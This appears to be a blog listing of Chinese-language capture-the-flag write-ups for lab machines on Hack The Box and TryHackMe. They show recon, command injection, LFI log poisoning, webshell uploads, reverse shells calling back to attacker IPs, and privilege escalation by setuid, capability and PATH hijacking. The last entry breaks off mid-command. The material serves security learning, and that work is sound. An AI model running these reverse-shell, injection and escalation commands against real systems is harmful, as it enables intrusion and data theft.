Cap (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/351 IP : 10.10.10.245 Recon 剛開始先掃 Portrustscan -a 10.10.10.245 -r 1-65535nmap -A -p21,22,80 10.10.10.245- 觀察有開的 port- 22 21 : vsFTPd 3.0.3 80掃路徑- python3 dirsearch.py -u http://10.10.10.245/ 基本上都還是跳轉回首頁,沒什麼 QQ觀察首頁- 觀察下載的 /data 發現預設是從 2 開始- 嘗試改 1 會出現空白 嘗試改 0http://10.10.10.245/data/0 可以下載到一包 pcap 檔案分析 pcap 檔案- 可以找到 ftp 的登入帳密nathan Buck3tH4TF0RM3! 進入系統 直接 ssh 連上取得 user flag- 提權 準備 LinEnum執行 LinEnum- bash LinEnum.sh 發現 python3 有 capability- GTFOBins 尋找 Py capability 解法- https://gtfobins.github.io/gtfobins/python/#capabilities /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'取得 Root Shell 與 Flag-

2021-08-14 · 1 分鐘 · steven

Bounty Hunter (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/359 IP : 10.10.11.100 Recon 凡事都從掃 Port 開始rustscan -a 10.10.11.100 -r 1-65535 有開 22 80 port掃路徑- python3 dirsearch.py -u http://10.10.11.100/ 發現有一個 /db.php進去是空白的還有一個 /resources/- 其中 README.txt 裡面有一些小線索發現發送表單頁面有 XXE 漏洞- 直接用 js 在 F12 Console 發 async function bountySubmit() { try { var xml = ` ]> &b; 456 meow 321 ` let data = await returnSecret(btoa(xml)); $("#return").html(data) } catch(error) { console.log('Error:', error); } } bountySubmit() ...

2021-08-13 · 2 分鐘 · steven

Anonymous (Try Hack Me Writeup)

URL : https://tryhackme.com/room/anonymous IP : 10.10.142.45 Recon 掃 Port 起手式rustscan -a 10.10.142.45 -r 1-65535 --ulimit 500022 21 139 445nmap -A -p21,22,139,445 10.10.142.45- 21 : FTPVSFTPD 2.0.822 : SSH139: SMB445: SMB嘗試連接 ftp- ftp 10.10.142.45 使用 anonymous 登入 發現裡面有一個 scripts 資料夾先把裡面所有檔案都載下來 觀察檔案- clean.sh看起來是一段 清除資料的 bash script removed_files.log- 看起來東西都是空的,是上述腳本的輸出 to_do.txt- 看起來沒有很重要 嘗試連線 SMB- 發現有一個 pics 資料夾裡面有兩張圖片- 把兩張圖片載下來- 觀察圖片- 看起來是狗勾!用 Exif tool 觀察- 可以看出 Photoshop 編輯過後來還用了 steghide 等程式,都沒有結果 嘗試 Exploit 尋找到 Vsftpd 2.3.4 有 Exploithttps://www.exploit-db.com/exploits/49757 wget https://www.exploit-db.com/download/49757 -O 49757.py 發現他是 Anonymous only,所以這個 Exploit 不能用!! 用了 msf 也是一樣的結果 QQ突然想到,說不定 ftp 上面的 clean.sh 是一個 cron job- 我們既然有讀寫的權限,可以在上面戳個 reverse shell 再傳上去 echo bash -c "'bash -i >& /dev/tcp /10.13.21.55/7877 0>&1'" >> clean.sh 本地端開 nc 來接成功接上ㄌ- 取得 User flag 提權 起手式 sudo -l看起來沒東西 QQ 準備 Linenum- wget 10.13.21.55:8000/LinEnum.sh 掃到了 /usr/bin/env 有 suid 透過 GTFOBins 尋找 env SUID 提權- /usr/bin/env /bin/sh -p成功提權- 取得 Root Flag 心得 FTP 上面的檔案也有可能是 Cron Job,看到 shell 就優先懷疑它是 cron ,看看能不能戳一些東西上去。打 Exploit 前須要先確定一下他有沒有一些限制(FTP的不能是 Anonymous登入)。

2021-08-11 · 1 分鐘 · steven

Previse (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/373 IP : 10.129.212.165 Recon 掃 Portrustscan -a 10.129.212.165 發現有開 22 跟 80 掃目錄- python3 dirsearch.py -u http://10.129.212.165/ 基本上沒有什麼有趣的東西不過有發現有滿多的目錄都會被導到 login.php 先事後諸葛的講一下,注意他們的302檔案大小不同 隨便點開幾個沒有關 index of 的目錄 看不出什麼 準備 Exploit 其實 Recon 玩之後,我就走投無路的卡了兩個小時,途中包含嘗試了 hydra 爆破hydra -L user.txt -P /opt/rockyou.txt 10.129.212.165 http-post-form "/login.php:username=^USER^&password=^PASS^:Login Failed:login.php"後來發現了他們的 302 大小不同- 這叫做 Execute After Redirect (EAR) 感謝唉嗚提供! 可以用 Burp 把 Response 也抓包抓起來 並徒手把 301 的 Redirect 改回 200就可以直接在不登入的狀況下訪問各種目錄了- 這算 OWASP TOP 10 的 A2-Broken Authentication 我們先創一個自己的帳號然後進去亂晃其中在檔案下載的地方,有網頁的原始碼- 可以在 logs.php發現一個明顯的 Command injection 漏洞,但它貌似不會回顯![](/uploads/2022/02/51a0f-QdUn7fX.png)使用 Command injection- curl ‘http://10.129.212.165/logs.php’ -H ‘User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0’ -H ‘Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8’ -H ‘Accept-Language: en-US,en;q=0.5’ –compressed -H ‘Content-Type: application/x-www-form-urlencoded’ -H ‘Origin: http://10.129.212.165’ -H ‘Connection: keep-alive’ -H ‘Referer: http://10.129.212.165/file_logs.php’ -H ‘Cookie: PHPSESSID=g5ssm562il8nfcv9fj771ma1nd’ -H ‘Upgrade-Insecure-Requests: 1’ –data-raw ‘delim=comma;curl -o /tmp/s 10.10.14.47:8000/s_HTB ‘` 成功載下了我們的 rever sehellbash -c 'bash -i >& /dev/tcp/10.10.14.47/7877 0>&1' 也成功執行起來ㄌ curl 'http://10.129.212.165/logs.php' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://10.129.212.165' -H 'Connection: keep-alive' -H 'Referer: http://10.129.212.165/file_logs.php' -H 'Cookie: PHPSESSID=g5ssm562il8nfcv9fj771ma1nd' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'delim=comma;bash /tmp/s' 一次提權 發現我們不能 cat user flag觀察 sudo -l- 我們不能用 sudo 做任何事情 從 config.php 可以找到資料庫名稱跟密碼- $host = 'localhost'; $user = 'root'; $passwd = 'mySQL_p@ssw0rd!:)'; $db = 'previse'; $mycon = new mysqli($host, $user, $passwd, $db); return $mycon; 嘗試把 sql 給 dump 出來mysqldump -u root -h localhost -p previse > a.sql 再載下來wget 10.129.212.165/a.sql 可以觀察到一段帳號跟使用者密馬 hash- m4lwhere','$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.' 使用 Hash Analyzer分析 發現是 MD5-Crypt而我自己的使用者密碼也在資料庫中,發現到他們的 Salt 一樣- 直接破會發現解不開 QQ 觀察原始碼發現它的 salt 是固定的,而且用了 Unicode 的 Emoji- $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.重新修正後就可以用 john 來解ㄌ!- 另外這邊也可以用 Hash Cat 來解- hashcat -m 500 hash.txt rockyou.txt 可以觀察 Hash cat 的網站,尋找 MD5-Crypt 的代號是 500https://hashcat.net/wiki/doku.php?id=example_hashes因此我們就取的了一組帳密- m4lwhere ilovecody112235!也可以順利的 SSH 上去了- 取得 User Flag- aad354dc018b14716dee8310d8f90c03 準備二次提權 起手式 sudo -l 發現我們可以用 sudo 執行 access_backup.sh 但是我們不行對這個檔案進行寫入發現程式會呼叫 date 的相對位置- 所以我們可以用 Path 誤導程式,執行我們的腳本 在本地家目錄創一個 date 檔案,設定 x 權限並寫入 Reverse shellbash -c 'bash -i >& /dev/tcp/10.10.14.47/7878 0>&1'!執行 PATH=/home/m4lwhere:$PATH sudo /opt/scripts/access_backup.sh順利取得 Root!!- ...

2021-08-11 · 2 分鐘 · steven

Knife (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/347 IP : 10.10.69.238 Recon 掃 Portrustscan -a 10.10.69.238 -r 1-65535 有開 80 跟 443觀察 Wappalyzer- Apache 2.4.41 PHP8.1.0掃目錄- python3 dirsearch.py -u http://10.10.10.242/ 看起來沒有東西 QQ Exploit 找到 php 8.1.0 有 RCE 漏洞https://github.com/flast101/php-8.1.0-dev-backdoor-rce git clone https://github.com/flast101/php-8.1.0-dev-backdoor-rce執行起來- 就成功拿到 Shell ㄌ也可以執行另外一個 reverse shell 版本- 取得 user.txt- 提權 起手式 sudo -l 發現我們可以用 sudo knifeGTFOBins 尋找刀子的 sudo 提權- sudo knife exec -E 'exec "/bin/sh"' 就提權成功ㄌ 取得 Root Flag- 心得 這題提醒我們,還是需要優先確認各種服務的版本號。

2021-08-11 · 1 分鐘 · steven

Relevant (Try Hack Me Writeup)

URL : https://tryhackme.com/room/relevant IP : 10.10.115.198 Recon rustscan -a 10.10.115.198發現有開80 135 139 445 3389nmap -A 10.10.115.198 Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-09 01:58 EDT Nmap scan report for 10.10.115.198 Host is up (0.28s latency). Not shown: 995 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds 3389/tcp open ssl/ms-wbt-server? | rdp-ntlm-info: | Target_Name: RELEVANT | NetBIOS_Domain_Name: RELEVANT | NetBIOS_Computer_Name: RELEVANT | DNS_Domain_Name: Relevant | DNS_Computer_Name: Relevant | Product_Version: 10.0.14393 |_ System_Time: 2021-08-09T06:00:45+00:00 | ssl-cert: Subject: commonName=Relevant | Not valid before: 2021-08-08T05:57:43 |_Not valid after: 2022-02-07T05:57:43 |_ssl-date: 2021-08-09T06:01:24+00:00; 0s from scanner time. Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 1h24m00s, deviation: 3h07m51s, median: 0s | smb-os-discovery: | OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3) | Computer name: Relevant | NetBIOS computer name: RELEVANT\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2021-08-08T23:00:47-07:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-08-09T06:00:49 |_ start_date: 2021-08-09T05:58:06 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 153.72 seconds 發現應該是 Winodws Server 2016 的機器 觀察網頁 去看 80 Port 是一個 IIS 的 Default Page掃目錄- python3 dirsearch.py -u http://10.10.115.198/ 看起來沒什麼結果 觀察 SMB smbclient --no-pass -L //10.10.115.198/可以觀察到有一個 nt4wrksv 目錄 smbclient -N //10.10.115.198/nt4wrksv- 就連上ㄌ get passwords.txt觀察 passwords.txt 檔案- 會發現是編碼過後的東西,後面有 == 所以很明顯是 Base64Qm9iIC0gIVBAJCRXMHJEITEyMw== QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk解 Base64- 可以用 base64 -d 嘗試把帳密用 RDP 連線- xfreerdp +drives /u:Bob /v:10.10.115.198` xfreerdp +drives /u:Bill /v:10.10.115.198 但也都失敗ㄌQQ嘗試連線 SMB- 但也都失敗了 搜尋更多的 Port rustscan -a 10.10.115.198 --accessible -r 1-65535 發現真的有藏東西!!49669 49663 49667這邊我同時用 nmap 跑了一次,不過真的有夠慢QQ- nmap -p- 10.10.115.198 nmap -A -p49669,49663,49667 10.10.115.198- 發現 49663 是一個 IIS webserver掃目錄- python3 dirsearch.py -u http://10.10.115.198:49663/ 掃到 aspnet_client 搜尋發現 aspnet_client/system_web 裡面常常會搭配一些特定字串https://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html?view=flipcard所以可以再依據字串掃一次- 還真的掃到了 4_0_30319 通靈掃描QQ 不知道為什麼機器死掉ㄌ,重新開的 IP 是 10.10.63.244 我們如果隨便訪問一個不存在的目錄,會回應404curl -I http://10.10.63.244:49663/12334/ 通靈覺得,說不定 webroot 有剛才 smb 的資料夾?- curl -I curl -I http://10.10.63.244:49663/nt4wrksv/ 200! 還真的有!!那我們是不是能取得剛剛 passwords.txt 的檔案- http://10.10.63.244:49663/nt4wrksv/passwords.txt 度ㄉ!!真的可以!!!!! 準備 Exploit 那我們應該可以用匿名登入的 smb 來上傳東西囉!準備一隻喵喵smbclient -N //10.10.63.244/nt4wrksv- 嘗試用瀏覽器訪問!- 成功!!!既然他是 IIS ,又是 ASPX,那我們應該可以傳個 aspx 的 webshell?- 網路上隨便找了一ㄍhttps://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/asp/cmd.aspx 丟上去 可以ㄟ!!!- 好讚ㄛ可以看系統的資訊ㄌ- 亂逛系統- 輸入指令 “cd ……\Users\Bob\Desktop && dir”![](https://i.imgur.com/hZrXxtO.png)取得 user flag- "cd ..\..\..\Users\Bob\Desktop && type user.txt" 戳 Reverse shell 雖然 Webshell 已經滿好用的了,但Reverse shell 用起來還是比較爽,我們來嘗試使用 Reverse shell 下面提供了滿多我嘗試的方法,但大多數都失敗ㄌ,僅有最後一個成功,不過我把失敗的方法也都列出來 ...

2021-08-10 · 3 分鐘 · steven

Lazy Admin Final (Try Hack Me Writeup)

URL : https://tryhackme.com/room/lazyadmin IP : 10.10.40.99 Scan 根據套路,先掃 Portnmap -A 10.10.40.99 發現有開 80 跟 22觀察網頁- 80 port 是一個 Apaphe 在 Ubuntu 上的 Default page 掃路徑- python3 dirsearch.py -u http://10.10.40.99 掃到一個 /content http://10.10.40.99/content/上面寫說他是 SweetRice CMS 根據 /content 繼續掃會找到- 裡面有一個 Change Log http://10.10.40.99/content/changelog.txt 裡面有寫到他的版本是 1.5尋找 Exploit- 找到了適用的 Exploit,不過需要使用者帳號跟密碼 https://www.exploit-db.com/exploits/40716繼續掃路徑- 找到一個 mysql_backuphttp://10.10.40.99/content/inc/mysql_backup/ 裡面有一個備份的 SQL 檔案 內部有一些看起來是 PHP 序列話的東西5:\\"admin\\";s:7:\\"manager\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\"; 看的出來admin : manager passwd : 42f749ade7f9e195bf475f37a44cafcb透過 Google 尋找- Sweet Rice CMS 的後台是 /as http://10.10.40.99/content/as/嘗試登入- 帳號 : manager 密碼 : 42f749ade7f9e195bf475f37a44cafcb登入失敗 正常人也不太可能用這種東西作為密碼 拿去 Google 後發現是 MD5可以透過這個網站解碼 https://md5.gromweb.com/?md5=42f749ade7f9e195bf475f37a44cafcb 所以答案是 Password123登入成功 Exploit 下載檔案wget https://www.exploit-db.com/download/40716 -O 40716.py``python3 40716.py 執行並輸入需要的資料- 10.10.40.99/content manager Password123 webshell.php5這邊我嘗試了 webshell.php 但是失敗 根據Exploit提示的改用 webshell.php5 就可以ㄌ 使用 Webshell- 可以成功連上改接 Reverse shell- http://10.10.40.99/content/attachment/webshell.php5?A=wget%2010.13.21.55:8000/s%20-O%20/tmp/s 本地端執行 nc -nlvp 7877 網址shell bash /tmp/s 就順利接上ㄌ取得 Flag- 準備提權 家目錄看到一組帳號密碼,先存下來 rice:randompass透過 sudo -l 發現我們可以用 sudo 執行這一段 Perl- 而這一段 perl 會用 sh 呼叫 /etc/copy.sh觀察 ls -al /etc/copy.sh- 可以發現我們有 Write 的權限 先把 /etc/copy.sh 備份一下以免搞壞- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f 寫入我們的 Reverse shell- echo "bash -c 'bash -i >& /dev/tcp/10.13.21.55/7878 0>&1'" > /etc/copy.sh監聽 Reverse shell- nc -nvlp 7878執行 Reverse shell- sudo /usr/bin/perl /home/itguy/backup.pl取得 Root- 取得 Root Flag

2021-08-10 · 1 分鐘 · steven

Blog (Try Hack Me Writeup)

URL : https://tryhackme.com/room/blog IP : 10.10.175.75 Recon 老梗先用 rustscan 掃一下rustscan -a 10.10.175.75 可以看出開的 port 有22 80 139 445接下來用 nmap 做進一步的掃瞄- nmap -A -p22,80,139,445 10.10.175.75 可以看出http-generator: WordPress 5.0What version of the above CMS was being used?- 5.0What CMS was Billy using?- WordPress Web 在文章內容中,可以看到有兩個作者Billy Joel帳號 :bjoelKaren Wheeler- 帳號 : kwheel Joel 的媽媽發現網頁會自動跳轉到 blog.thm- 這是 Wordpress 的一個問題,第一次進入就會在 DB 寫死 Domain name 並自動跳轉 我們可以透過修改 /etc/hosts 把 IP 綁上 domainsudo vim /etc/hosts 裡面加上一行 10.10.175.75 blog.thm用 dirsearch 掃一次看看- python3 dirsearch.py -u http://blog.thm/ 沒有什麼特別的結果,就是 Wordpress 該有的東西而已使用 WPScan,一款針對 Wordpress 的掃描器- 可以掃描出該網站有使用哪一些套件等 wpscan --update wpscan --url http://blog.thm └─$ wpscan --url http://blog.thm _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.17 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: http://blog.thm/ [10.10.175.75] [+] Started: Sat Aug 7 01:16:33 2021 Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.29 (Ubuntu) | Found By: Headers (Passive Detection) | Confidence: 100% [+] robots.txt found: http://blog.thm/robots.txt | Interesting Entries: | - /wp-admin/ | - /wp-admin/admin-ajax.php | Found By: Robots Txt (Aggressive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://blog.thm/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] WordPress readme found: http://blog.thm/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] Upload directory has listing enabled: http://blog.thm/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://blog.thm/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 5.0 identified (Insecure, released on 2018-12-06). | Found By: Rss Generator (Passive Detection) | - http://blog.thm/feed/, https://wordpress.org/?v=5.0 | - http://blog.thm/comments/feed/, https://wordpress.org/?v=5.0 [+] WordPress theme in use: twentytwenty | Location: http://blog.thm/wp-content/themes/twentytwenty/ | Last Updated: 2021-07-22T00:00:00.000Z | Readme: http://blog.thm/wp-content/themes/twentytwenty/readme.txt | [!] The version is out of date, the latest version is 1.8 | Style URL: http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3 | Style Name: Twenty Twenty | Style URI: https://wordpress.org/themes/twentytwenty/ | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | Confirmed By: Css Style In 404 Page (Passive Detection) | | Version: 1.3 (80% confidence) | Found By: Style (Passive Detection) | - http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3, Match: 'Version: 1.3' [+] Enumerating All Plugins (via Passive Methods) [i] No plugins Found. [+] Enumerating Config Backups (via Passive and Aggressive Methods) Checking Config Backups - Time: 00:00:16 (137 / 137) 100.00% Time: 00:00:16 [i] No Config Backups Found. [!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register [+] Finished: Sat Aug 7 01:17:25 2021 [+] Requests Done: 170 [+] Cached Requests: 7 [+] Data Sent: 40.812 KB [+] Data Received: 322.273 KB [+] Memory used: 213.184 MB [+] Elapsed time: 00:00:51 可以發現 wp-content/oploads 目錄沒有鎖前面有發現 Wordpress 的版本是 5.0- 上 searchsploit 尋找看看有沒有可以用的 Exploit wget https://www.exploit-db.com/download/49512 -O 49512.py 然而執行起來發現需要帳號密碼,所以就暫時先放一邊 SMB 前面 nmap 發現他有開 SMB 的 port來掃看看 smbmap -H blog.thm 可以發現有開一個Disk 叫做BillySMB也可以用 smbclient -L //blog.thm 列出裡面的資訊- 由於 SMB 可以使用匿名登入,所以詢問密碼只要直接按下 Enter即可 如上截圖,發現會出現一個 SMB1 Disable 的 錯誤- 依照下列網址方式處理https://dalemazza.wordpress.com/2020/04/20/nt_status_io_timeout-smb-error-and-how-to-fix-it/修改 /etc/samba/smb.conf- 在 [global] 裡面增加一行client min protocol = NT1就可以正常使用ㄌ輸入 smbclient -N '//blog/thm/BillySMB'- 可以直接進入 SMB 的 CLI輸入 ls 觀察裡面的資料- 輸入 get {檔名} 依序把檔案拔出來- 發現裡面有一張 QR Code- 網路上找一個 QR 轉換器然而只是一個普通的 Youtube 連結其他也都只是滿無聊的圖檔,沒有什麼特別 爆破密碼 爆破密碼很無聊,但有時候很有用針對 Wordpress 可以用 wpscan 內建的爆破方法我們先準備一個 user.txt 裡面有兩行,分別是兩個使用者bjoel kwheel``wpscan --url http://blog.thm/ -U user.txt -P /opt/rockyou.txt- 接下來使用 -U 配使用者名稱檔案 -P 配密碼字典檔來未看先猜一下,爆出來比較有機會的是 kwheel- 因為是開發者的媽媽,老人家資安意識比較差 抱歉我就歧視等了十幾分鐘,真的成功的爆出了密碼!!- kwheel / cutiepie1 果然老人家愛用弱密碼接下來到 /wp-admin 準備登入- 也就真的順利登入了!!不過我們的使用者是 editor沒有權限可以修改 template 之類的方法取得 RCE 嘗試 exploit-db 的 Payload (失敗) 先講結論,失敗了,我也不知道為什麼 QQ我已經完全照著網路上的方法做 但是還是怪怪ㄉ QQ使用先前載好的 https://www.exploit-db.com/download/49512依照提示準備一個 gd.jpg- cp Alice-White-Rabbit.jpg gd.jpg 這邊我直接使用 smb 偷出來的圖片用 exiftool 寫入 shell- exiftool gd.jpg -CopyrightNotice="" 在這邊我們可以用 strings 觀察,檔案真的被寫進去了修改原始碼的 lhost 與 lport- python3 49512.py http://blog.thm/ kwheel cutiepie1 twentytwenty nc -nvlp 7877 然而,都失敗了QQQ 使用大絕招 msf !! 輸入 msfconsole``use exploit/multi/http/wp_crop_rce show options觀察需要的參數set PASSWORD cutiepie1``set USERNAME kwheel``set RHOSTS blog.thm``set LHOST 10.13.21.55``exploit- 就成功接上了 meterpreter 的 shell- 但這邊我還是想使用普通的 reverse shell 所以我們就輸入 shell 切換進入再來我想接回 reverse shell- 在攻擊機輸入 nc -nvlp 7877 meterpreter 輸入bash -c 'bash -i >& /dev/tcp/10.13.21.55/7877 0>&1' 就可以順利接回 shell然而在使用者的家目錄看到的 user.txt 是假的 QQ沒關係,我現在懶得找,等有 root 後再說ㄅ觀察使用者家目錄有一個 pdf 檔案,抓出來研究看看- 攻擊機 nc -l -p 1234 > Billy_Joel_Termination_May20-2020.pdf 靶機 `nc 10.13.21.55 1234 準備提權 使用常常出現的工具 linpeaswget 10.13.21.55:8000/linpeas.sh bash linpeas.sh 我們可以找到 wordpress 的資料庫密碼 LittleYellowLamp90!@發現 sudo 版本是 1.8.21- 發現一個奇怪的檔案有 suid- 檔案路徑是 /usr/sbin/checker 觀察 Checker- 先把檔案傳出來攻擊機 nc -l -p 1234 > checker 靶機 nc 10.13.21.55 1234 使用 r2分析-r2 checker` aaa s main VV 可以發現他會把 admin 傳入 getenv 然後如果有值就會給我們一個 shell回到攻擊機,給予一個 admin 的環境變數- admin=meow /usr/sbin/checker 就拿到 root shell 了 取得 root flag- 9a0b2b618bef9bfa7ac28c1353d9f318等等 … 阿user flag ㄋ- 好懶得翻ㄛ…我們就暴力搜ㄅ find / -iname user.txt -print 2>/dev/null可以找到 user flag 藏在 /media/usb/user.txt- c8421899aae571f7af486492b71a8ab7

2021-08-08 · 4 分鐘 · steven

Bolt (Try Hack Me Writeup)

URL : https://tryhackme.com/room/bolt IP : 10.10.51.13 Recon rustscan -a 10.10.51.13 發現有開22 80 8000nmap -A -p22,80,8000 10.10.51.13- 觀察網頁- 808080- What port number has a web server with a CMS running?- 8000What is the username we can find in the CMS?- boltWhat is the password we can find for the username?- boltadmin123``python3 dirsearch.py -u http://10.10.51.13:8000/ -e all- http://10.10.51.13:8000/.htaccess裡面沒什麼特別網路上找到後臺網址- http://10.10.51.13:8000/bolt/login What version of the CMS is installed on the server? (Ex: Name 1.1.1)- Bolt 3.7.1 上一張截圖最下面有寫Google Bolt 3.7.1 Exploit- https://www.exploit-db.com/exploits/48296 wget https://www.exploit-db.com/download/48296 -O 48296.pyThere’s an exploit for a previous version of this CMS, which allows authenticated RCE. Find it on Exploit DB. What’s its EDB-ID?- 48296 不知道為什麼,我 run 起來失敗QQ網路上找到另外一組 exploit- https://medium.com/@foxsin34/bolt-cms-3-7-1-authenticated-rce-remote-code-execution-ed781e03237b 他莫名的把我的密碼改成 password 了 但是也沒有用 ?__?改用 msf- search bolt找到了第 0 個 RCE 的use 0``set PASSWORD password``set USERNAME bolt``set RHOSTS 10.10.51.13``set LHOST tun0``show optionsexploit- 成功 RCE 取得 flag- THM{wh0_d035nt_l0ve5_b0l7_r1gh7?}

2021-08-06 · 1 分鐘 · steven

Archangel (Try Hack Me Writeup)

url : https://tryhackme.com/room/archangel IP : 10.10.163.60 Recon 起手式,掃 Port rustscan -a 10.10.163.60 80 , 22掃路徑 python3 dirsearch.py -u http://10.10.163.60/ -e all- 觀察網頁首頁,發現裡面有 /flag- 點進去後 …… 幹… 用 curl 觀察 他會自動跳轉到這邊 https://www.youtube.com/watch?v=dQw4w9WgXcQ Dfferent Hostname 題目提示 : Find a different hostname 可以觀察 mafialive.thm``sudo vim /etc/hosts- 加上這一行 10.10.163.60 mafialive.thm 接下來到 http://mafialive.thm/ 就拿到了 flag再掃一次路徑python3 dirsearch.py -u http://mafialive.thm/ -e all- http://mafialive.thm/robots.txt /test.phphttp://mafialive.thm/test.php 觀察按下按鈕後的網址- http://mafialive.thm/test.php?view=/var/www/html/development_testing/mrrobot.php 感覺很明顯可以 LFI嘗試 Base64 Payloadhttp://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php 成功 !! 觀察 test.php 原始碼http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php INCLUDE Test Page. Not to be Deployed Here is a button 又撿到一個 flag thm{explo1t1ng_lf1}觀察原始碼發現,網址裡不能出現 ../.. 且一定要出現 /var/www/html/development_testing``../.. 可以用 .././.. 繞測試 curl http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././etc/passwd成功!!來看 apache access log- /var/log/apache2/access.log curl http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log 成功 !! 往上拉發現所有的 host log 都在這邊,所以可以直接針對 ip 來做 nc 寫 phpnc 10.10.163.60 80 GET /? 再回去看一次 access log- http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log 成功出現 phpinfo !! 寫入 webshell- nc 10.10.163.60 80 GET / http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log&A=ls![](/uploads/2022/02/ea69f-JHfk4lv.png)下載 reverse shell- http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log&B=wget 10.13.21.55:8000/s -O /tmp/s 本地準備監聽 nc -vlk 7877 執行 shell http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log&B=bash%20/tmp/s 成功接上 使用 python 讓 terminal 變漂亮- python3 -c 'import pty; pty.spawn("/bin/bash")'找 user flag- thm{lf1_t0_rc3_1s_tr1cky}找到使用者資料夾內有 passwordbackup- 幹…再一次 等……等等,不會吧 該不會那個網址真 TM 是他的密碼 ?__? 好的,好險不是使用 Linpeas 掃- wget 10.13.21.55:8000/linpeas.sh bash linpeas.sh找到一個可疑的 cron job發現 這個 cron 會使用 archangel 來執行,而且我們對 /opt/helloworld.sh有讀寫權限寫入 reverse shellecho "bash -c 'bash -i >& /dev/tcp/10.13.21.55/7878 0>&1'" >> /opt/helloworld.sh等待一分鐘後,自動接上!!- 找到 flagthm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}觀察使用者中的 secret 資料夾中- 有一個 backup 檔案有 suid透過 nc 把檔案傳出來- 監聽端 nc -l -p 1234 > meow 發送端 nc 10.13.21.55 1234 哼!這種等級的 reverse,連 ida 都不用開,我們用 r2 就好ㄌ- r2 meow` aaa s main VV 可以看到他會用 system call 一個 cp 而 cp 沒有寫絕對路徑,所以可以用 path 進行誤導 誤導 path 在家目錄創一個 fakepathmkdir fakepath export PATH=/home/archangel/fakepath:$PATH準備一個假的 cp 檔案- echo '#!/bin/bash' > cp echo "/bin/bash" >> cp chmod 